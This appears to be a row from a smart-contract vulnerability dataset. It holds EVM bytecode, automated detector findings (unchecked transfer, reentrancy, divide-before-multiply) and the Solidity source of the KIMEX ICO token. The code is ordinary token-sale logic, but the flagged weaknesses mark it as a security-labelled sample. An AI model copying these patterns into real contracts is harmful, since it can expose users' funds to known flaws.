50925050505b80611544575061154a565b5061157c565b3d808015611574576040519150601f19603f3d011682016040523d82523d6000602084013e611579565b606091505b50505b600960009054906101000a90046001600160a01b03166001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115cc57600080fd5b505af19250505080156115dd575060015b6112c0576040516000815260443d10156115f957506000611696565b60046000803e60005160e01c6308c379a0811461161a576000915050611696565b60043d036004833e81513d602482011167ffffffffffffffff8211171561164657600092505050611696565b808301805167ffffffffffffffff811115611668576000945050505050611696565b8060208301013d860181111561168657600095505050505050611696565b601f01601f191660405250925050505b806116a157506116a7565b506116d9565b3d8080156116d1576040519150601f19603f3d011682016040523d82523d6000602084013e6116d6565b606091505b50505b6112c0565b600654604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561052f57600080fd5b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561176857600080fd5b505afa15801561177c573d6000803e3d6000fd5b505050506040513d602081101561179257600080fd5b50516001600160a01b0316146117dd576040805162461bcd60e51b81526020600482018190526024820152600080516020612382833981519152604482015290519081900360640190fd5b6004805460408051639865027560e01b815290516001600160a01b0390921692639865027592828201926000929082900301818387803b15801561182057600080fd5b505af1158015611834573d6000803e3d6000fd5b50505050565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561187f57600080fd5b505afa158015611893573d6000803e3d6000fd5b505050506040513d60208110156118a957600080fd5b50516001600160a01b0316146118f4576040805162461bcd60e51b81526020600482018190526024820152600080516020612382833981519152604482015290519081900360640190fd5b61177081101561194b576040805162461bcd60e51b815260206004820152601b60248201527f7468726573686f6c642062656c6f7720363025206d696e696d756d0000000000604482015290519081900360640190fd5b612ee08111156119a2576040805162461bcd60e51b815260206004820152601c60248201527f7468726573686f6c642061626f76652031323025206d6178696d756d00000000604482015290519081900360640190fd5b600055565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b1580156119ec57600080fd5b505afa158015611a00573d6000803e3d6000fd5b505050506040513d6020811015611a1657600080fd5b50516001600160a01b031614611a61576040805162461bcd60e51b81526020600482018190526024820152600080516020612382833981519152604482015290519081900360640190fd5b6103e88111611aa15760405162461bcd60e51b815260040180806020018281038252602381526020018061231c6023913960400191505060405180910390fd5b6127108110611af7576040805162461bcd60e51b815260206004820152601a60248201527f7072696365207370616e206c6172676572206163637572616379000000000000604482015290519081900360640190fd5b600255565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b158015611b4157600080fd5b505afa158015611b55573d6000803e3d6000fd5b505050506040513d6020811015611b6b57600080fd5b50516001600160a01b031614611bb6576040805162461bcd60e51b81526020600482018190526024820152600080516020612382833981519152604482015290519081900360640190fd5b610e10811015611bf75760405162461bcd60e51b81526004018080602001828103825260278152602001806123cb6027913960400191505060405180910390fd5b62093a80811115611c395760405162461bcd60e51b81526004018080602001828103825260298152602001806123a26029913960400191505060405180910390fd5b600355565b336000818152600c6020526040812054909190611ca2576040805162461bcd60e51b815260206004820152601960248201527f43616c6c6572206973206e6f74206f75722061756374696f6e00000000000000604482015290519081900360640190fd5b6001600160a01b038416301415611cbd576001915050610624565b6001600160a01b038082166000908152600c60209081526040808320546004805483516340c10f1960e01b81523092810192909252602482018a90529251919592909216936340c10f1993604480850194919392918390030190829087803b158015611d2857600080fd5b505af1158015611d3c573d6000803e3d6000fd5b505050506040513d6020811015611d5257600080fd5b5050600480546006546040805163095ea7b360e01b81526001600160a01b0392831694810194909452602484018890525191169163095ea7b39160448083019260209291908290030181600087803b158015611dad57600080fd5b505af1158015611dc1573d6000803e3d6000fd5b505050506040513d6020811015611dd757600080fd5b50506006546040805163137f24d360e31b81526001600160a01b03888116600483015260248201889052604482018590526000606483018190529251931692639bf9269892608480840193602093929083900390910190829087803b158015611e3f57600080fd5b505af1158015611e53573d6000803e3d6000fd5b505050506040513d6020811015611e6957600080fd5b5060019695505050505050565b60015481565b60025481565b600c6020526000908152604090205481565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b158015611ed957600080fd5b505afa158015611eed573d6000803e3d6000fd5b505050506040513d6020811015611f0357600080fd5b50516001600160a01b031614611f4e576040805162461bcd60e51b81526020600482018190526024820152600080516020612382833981519152604482015290519081900360640190fd5b6004805460408051638da5cb5b60e01b8152905184936001600160a01b038086169463a9059cbb94911692638da5cb5b92828101926020929190829003018186803b158015611f9c57600080fd5b505afa158015611fb0573d6000803e3d6000fd5b505050506040513d6020811015611fc657600080fd5b5051604080516370a0823160e01b815230600482015290516001600160a01b038616916370a08231916024808301926020929190829003018186803b15801561200e57600080fd5b505afa158015612022573d6000803e3d6000fd5b505050506040513d602081101561203857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561208957600080fd5b505af115801561209d573d6000803e3d6000fd5b505050506040513d602081101561183457600080fd5b6000818311156120c65750808203610624565b500390565b6000826120da57506000610624565b828202828482816120e757fe5b04146121245760405162461bcd60e51b81526004018080602001828103825260218152602001806123616021913960400191505060405180910390fd5b9392505050565b600061212483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061221f565b600081831061217c5781612124565b5090919050565b600082820183811015612124576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061212483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122c1565b600081836122ab5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612270578181015183820152602001612258565b50505050905090810190601f16801561229d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816122b757fe5b0495945050505050565b600081848411156123135760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612270578181015183820152602001612258565b50505090039056fe7072696365207370616e2073686f756c642068617665206174206c656173742031302564696c7574696f6e20626f756e642061626f766520313025206d61782076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657261756374696f6e206475726174696f6e2073686f756c64206265206c657373207468616e207765656b61756374696f6e732073686f756c642072756e206174206c6165737420666f72203120686f7572a2646970667358221220d4d692803d2717993d3cb8522e12cacf34045140815e4e2afb87e38168f27b3964736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,936 |
0x9b8c184439245b7bb24a5b2ec51ec81c39589e8a
|
pragma solidity ^0.4.21;
contract Owner {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owner(address _owner) public {
owner = _owner;
}
function changeOwner(address _newOwnerAddr) public onlyOwner {
require(_newOwnerAddr != address(0));
owner = _newOwnerAddr;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract KIMEX is Owner {
using SafeMath for uint256;
string public constant name = "KIMEX";
string public constant symbol = "KMX";
uint public constant decimals = 18;
uint256 constant public totalSupply = 250000000 * 10 ** 18; // 375 mil tokens will be supplied
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
address public adminAddress;
address public walletAddress;
address public founderAddress;
address public teamAddress;
mapping(address => bool) public whiteList;
mapping(address => uint256) public totalInvestedAmountOf;
uint constant lockPeriod1 = 1 years; // 1nd locked period for tokens allocation of founder and team
uint constant NOT_SALE = 0; // Not in sales
uint constant IN_SALE = 1; // In sales
uint constant END_SALE = 2; // End sales
uint256 public constant salesAllocation = 150000000 * 10 ** 18; // 150 mil tokens allocated for sales
uint256 public constant reservedAllocation = 22500000 * 10 ** 18; // 22.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund
uint256 public constant founderAllocation = 50000000 * 10 ** 18; // 50 mil tokens allocated for founders
uint256 public constant teamAllocation = 22500000 * 10 ** 18; // 22.5 mil tokens allocated for team
uint256 public constant minInvestedCap = 5000 * 10 ** 18; // 5000 ether for softcap
uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction
uint saleState;
uint256 totalInvestedAmount;
uint public icoStartTime;
uint public icoEndTime;
bool public inActive;
bool public isSelling;
bool public isTransferable;
uint public founderAllocatedTime = 1;
uint public teamAllocatedTime = 1;
uint256 public icoStandardPrice;
uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales
uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved and bonuses
uint256 public totalLoadedRefund; // Total ether will be loaded to contract for refund
uint256 public totalRefundedAmount; // Total ether refunded to investors
event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event
event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event
event ModifyWhiteList(address investorAddress, bool isWhiteListed); // Add or remove investor's address to or from white list
event StartICO(uint state); // Start ICO sales
event EndICO(uint state); // End ICO sales
event SetICOPrice(uint256 price); // Set ICO standard price
event IssueTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint state); // Issue tokens to investor
event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address
event AllocateTokensForTeam(address teamAddress, uint256 teamAllocatedTime, uint256 tokenAmount); // Allocate tokens to team's address
event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens
event AllocateSalesTokens(address salesAllocation, uint256 tokenAmount); // Allocate sales tokens
modifier isActive() {
require(inActive == false);
_;
}
modifier isInSale() {
require(isSelling == true);
_;
}
modifier transferable() {
require(isTransferable == true);
_;
}
modifier onlyOwnerOrAdminOrPortal() {
require(msg.sender == owner || msg.sender == adminAddress);
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || msg.sender == adminAddress);
_;
}
function KIMEX(address _walletAddr, address _adminAddr) public Owner(msg.sender) {
require(_walletAddr != address(0));
require(_adminAddr != address(0));
walletAddress = _walletAddr;
adminAddress = _adminAddr;
inActive = true;
totalInvestedAmount = 0;
totalRemainingTokensForSales = salesAllocation;
totalReservedTokenAllocation = reservedAllocation;
}
// Fallback function for token purchasing
function () external payable isActive isInSale {
uint state = getCurrentState();
require(state < END_SALE);
require(msg.value >= minInvestedAmount);
if (state <= IN_SALE) {
return issueTokensForICO(state);
}
revert();
}
// Load ether amount to contract for refunding or revoking
function loadFund() external payable {
require(msg.value > 0);
totalLoadedRefund = totalLoadedRefund.add(msg.value);
}
// ERC20 standard function
function transfer(address _to, uint256 _value) external transferable returns (bool) {
require(_to != address(0));
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// ERC20 standard function
function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) {
require(_to != address(0));
require(_from != address(0));
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// ERC20 standard function
function approve(address _spender, uint256 _value) external transferable returns (bool) {
require(_spender != address(0));
require(_value > 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// Modify white list
function modifyWhiteList(address[] _investorAddrs, bool _isWhiteListed) external isActive onlyOwnerOrAdminOrPortal returns(bool) {
for (uint256 i = 0; i < _investorAddrs.length; i++) {
whiteList[_investorAddrs[i]] = _isWhiteListed;
emit ModifyWhiteList(_investorAddrs[i], _isWhiteListed);
}
return true;
}
// Start ICO
function startICO() external isActive onlyOwnerOrAdmin returns (bool) {
require(icoStandardPrice > 0);
saleState = IN_SALE;
icoStartTime = now;
isSelling = true;
emit StartICO(saleState);
return true;
}
// End ICO
function endICO() external isActive onlyOwnerOrAdmin returns (bool) {
require(icoEndTime == 0);
saleState = END_SALE;
isSelling = false;
icoEndTime = now;
emit EndICO(saleState);
return true;
}
// Set ICO price including ICO standard price
function setICOPrice(uint256 _tokenPerEther) external onlyOwnerOrAdmin returns(bool) {
require(_tokenPerEther > 0);
icoStandardPrice = _tokenPerEther;
emit SetICOPrice(icoStandardPrice);
return true;
}
// Activate token sale function
function activate() external onlyOwner {
inActive = false;
}
// Deacivate token sale function
function deActivate() external onlyOwner {
inActive = true;
}
// Enable transfer feature of tokens
function enableTokenTransfer() external isActive onlyOwner {
isTransferable = true;
}
// Modify wallet
function changeWallet(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(walletAddress != _newAddress);
walletAddress = _newAddress;
}
// Modify admin
function changeAdminAddress(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(adminAddress != _newAddress);
adminAddress = _newAddress;
}
// Modify founder address to receive founder tokens allocation
function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin {
require(_newAddress != address(0));
require(founderAddress != _newAddress);
founderAddress = _newAddress;
}
// Modify team address to receive team tokens allocation
function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin {
require(_newAddress != address(0));
require(teamAddress != _newAddress);
teamAddress = _newAddress;
}
// Allocate tokens for founder vested gradually for 1 year
function allocateTokensForFounder() external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(founderAddress != address(0));
uint256 amount;
if (founderAllocatedTime == 1) {
amount = founderAllocation;
balances[founderAddress] = balances[founderAddress].add(amount);
emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount);
founderAllocatedTime = 2;
return;
}
revert();
}
// Allocate tokens for team vested gradually for 1 year
function allocateTokensForTeam() external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(teamAddress != address(0));
uint256 amount;
if (teamAllocatedTime == 1) {
amount = teamAllocation * 40/100;
balances[teamAddress] = balances[teamAddress].add(amount);
emit AllocateTokensForTeam(teamAddress, teamAllocatedTime, amount);
teamAllocatedTime = 2;
return;
}
if (teamAllocatedTime == 2) {
require(now >= icoEndTime + lockPeriod1);
amount = teamAllocation * 60/100;
balances[teamAddress] = balances[teamAddress].add(amount);
emit AllocateTokensForTeam(teamAddress, teamAllocatedTime, amount);
teamAllocatedTime = 3;
return;
}
revert();
}
// Allocate reserved tokens
function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin {
require(_amount > 0);
require(_addr != address(0));
balances[_addr] = balances[_addr].add(_amount);
totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount);
emit AllocateReservedTokens(_addr, _amount);
}
// Allocate sales tokens
function allocateSalesTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin {
require(_amount > 0);
require(_addr != address(0));
balances[_addr] = balances[_addr].add(_amount);
totalRemainingTokensForSales = totalRemainingTokensForSales.sub(_amount);
emit AllocateSalesTokens(_addr, _amount);
}
// ERC20 standard function
function allowance(address _owner, address _spender) external constant returns (uint256) {
return allowed[_owner][_spender];
}
// ERC20 standard function
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
// Get current sales state
function getCurrentState() public view returns(uint256) {
return saleState;
}
// Get softcap reaching status
function isSoftCapReached() public view returns (bool) {
return totalInvestedAmount >= minInvestedCap;
}
// Issue tokens to normal investors through ICO rounds
function issueTokensForICO(uint _state) private {
uint256 price = icoStandardPrice;
issueTokens(price, _state);
}
// Issue tokens to investors and transfer ether to wallet
function issueTokens(uint256 _price, uint _state) private {
require(walletAddress != address(0));
uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether);
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
totalInvestedAmountOf[msg.sender] = totalInvestedAmountOf[msg.sender].add(msg.value);
totalRemainingTokensForSales = totalRemainingTokensForSales.sub(tokenAmount);
totalInvestedAmount = totalInvestedAmount.add(msg.value);
walletAddress.transfer(msg.value);
emit IssueTokens(msg.sender, msg.value, tokenAmount, _state);
}
}
|
0x60606040526004361061027d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063011468441461031257806306fdde031461031c57806309522d7f146103aa578063095ea7b3146103d35780630f15f4c01461042d5780631021688f1461044257806318160ddd1461047b5780631c75f085146104a45780632121dc75146104f95780632272df6714610526578063230b1eb51461055f57806323b872dd1461058857806325b5160c146106015780632c8c892b1461063c578063313ce5671461067e5780633281c4e1146106a7578063372c12b1146106d0578063378aa701146107215780633a7644621461074a5780633aee69bb1461075f57806345abc0631461079857806346bb2833146107c15780634f248409146108165780635185b72414610843578063614939b2146108855780636175adee1461089a57806363db30e8146108c35780636816521a146108ec5780636ad5b3ea1461091557806370a082311461096a5780637904586e146109b75780637e1055b614610a045780637fa8c15814610a2d57806380d32f8514610a5a578063824338bd14610a875780638da5cb5b14610ab057806395d89b4114610b0557806398b9a2dc14610b93578063a6f9dae114610bcc578063a7c3d71b14610c05578063a9059cbb14610c2e578063aaff2a8314610c88578063cadb116614610cb1578063cbf2183714610d02578063cd1e035514610d2f578063d128fc2014610d58578063d8ee796f14610d6d578063dccbfa2a14610d96578063dd62ed3e14610dbf578063f461db0e14610e2b578063f97a02fa14610e54578063fc6f946814610e81578063ff895a6214610ed6575b6000801515600d60009054906101000a900460ff1615151415156102a057600080fd5b60011515600d60019054906101000a900460ff1615151415156102c257600080fd5b6102ca610eeb565b90506002811015156102db57600080fd5b67016345785d8a000034101515156102f257600080fd5b60018111151561030a5761030581610ef5565b61030f565b600080fd5b50005b61031a610f0a565b005b341561032757600080fd5b61032f610f36565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b557600080fd5b6103bd610f6f565b6040518082815260200191505060405180910390f35b34156103de57600080fd5b610413600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f7e565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b6104406110dd565b005b341561044d57600080fd5b610479600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611155565b005b341561048657600080fd5b61048e61128d565b6040518082815260200191505060405180910390f35b34156104af57600080fd5b6104b761129c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050457600080fd5b61050c6112c2565b604051808215151515815260200191505060405180910390f35b341561053157600080fd5b61055d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112d5565b005b341561056a57600080fd5b610572611465565b6040518082815260200191505060405180910390f35b341561059357600080fd5b6105e7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061146b565b604051808215151515815260200191505060405180910390f35b341561060c57600080fd5b61062260048080359060200190919050506117bf565b604051808215151515815260200191505060405180910390f35b341561064757600080fd5b61067c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118cc565b005b341561068957600080fd5b610691611b0b565b6040518082815260200191505060405180910390f35b34156106b257600080fd5b6106ba611b10565b6040518082815260200191505060405180910390f35b34156106db57600080fd5b610707600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b1f565b604051808215151515815260200191505060405180910390f35b341561072c57600080fd5b610734610eeb565b6040518082815260200191505060405180910390f35b341561075557600080fd5b61075d611b3f565b005b341561076a57600080fd5b610796600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bd9565b005b34156107a357600080fd5b6107ab611d69565b6040518082815260200191505060405180910390f35b34156107cc57600080fd5b6107d4611d6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561082157600080fd5b610829611d95565b604051808215151515815260200191505060405180910390f35b341561084e57600080fd5b610883600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611ee6565b005b341561089057600080fd5b610898612125565b005b34156108a557600080fd5b6108ad6125d3565b6040518082815260200191505060405180910390f35b34156108ce57600080fd5b6108d66125d9565b6040518082815260200191505060405180910390f35b34156108f757600080fd5b6108ff6125e5565b6040518082815260200191505060405180910390f35b341561092057600080fd5b6109286125f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561097557600080fd5b6109a1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061261a565b6040518082815260200191505060405180910390f35b34156109c257600080fd5b6109ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612663565b6040518082815260200191505060405180910390f35b3415610a0f57600080fd5b610a1761267b565b6040518082815260200191505060405180910390f35b3415610a3857600080fd5b610a40612681565b604051808215151515815260200191505060405180910390f35b3415610a6557600080fd5b610a6d6127d2565b604051808215151515815260200191505060405180910390f35b3415610a9257600080fd5b610a9a6127e9565b6040518082815260200191505060405180910390f35b3415610abb57600080fd5b610ac36127f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b1057600080fd5b610b1861281d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b58578082015181840152602081019050610b3d565b50505050905090810190601f168015610b855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610b9e57600080fd5b610bca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612856565b005b3415610bd757600080fd5b610c03600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061298e565b005b3415610c1057600080fd5b610c18612a68565b6040518082815260200191505060405180910390f35b3415610c3957600080fd5b610c6e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612a6e565b604051808215151515815260200191505060405180910390f35b3415610c9357600080fd5b610c9b612c76565b6040518082815260200191505060405180910390f35b3415610cbc57600080fd5b610ce8600480803590602001908201803590602001919091929080351515906020019091905050612c7c565b604051808215151515815260200191505060405180910390f35b3415610d0d57600080fd5b610d15612e97565b604051808215151515815260200191505060405180910390f35b3415610d3a57600080fd5b610d42612eaa565b6040518082815260200191505060405180910390f35b3415610d6357600080fd5b610d6b612eb0565b005b3415610d7857600080fd5b610d80613193565b6040518082815260200191505060405180910390f35b3415610da157600080fd5b610da9613199565b6040518082815260200191505060405180910390f35b3415610dca57600080fd5b610e15600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506131a7565b6040518082815260200191505060405180910390f35b3415610e3657600080fd5b610e3e61322e565b6040518082815260200191505060405180910390f35b3415610e5f57600080fd5b610e67613234565b604051808215151515815260200191505060405180910390f35b3415610e8c57600080fd5b610e94613247565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610ee157600080fd5b610ee961326d565b005b6000600954905090565b60006010549050610f0681836132e5565b5050565b600034111515610f1957600080fd5b610f2e346013546135cf90919063ffffffff16565b601381905550565b6040805190810160405280600581526020017f4b494d455800000000000000000000000000000000000000000000000000000081525081565b6a129c8f71ad02e2a680000081565b600060011515600d60029054906101000a900460ff161515141515610fa257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fde57600080fd5b600082111515610fed57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113857600080fd5b6000600d60006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111ec57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561124957600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6acecb8f27f4200f3a00000081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061137d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561138857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113c457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561142157600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600060011515600d60029054906101000a900460ff16151514151561148f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114cb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561150757600080fd5b60008211151561151657600080fd5b61156882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135ed90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115fd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116cf82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135ed90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118695750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561187457600080fd5b60008211151561188357600080fd5b816010819055507f1c1b18768492f25670993e4eaf1a7d17a8abe51d71b27bc5c1255e40d2d506a86010546040518082815260200191505060405180910390a160019050919050565b60001515600d60009054906101000a900460ff1615151415156118ee57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119965750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156119a157600080fd5b6000811115156119b057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156119ec57600080fd5b611a3e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135cf90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a96816011546135ed90919063ffffffff16565b6011819055507f5a0785f58719bca05bb9d76730d322e101b6c7c8bcc6da140a409947b003bbe78282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff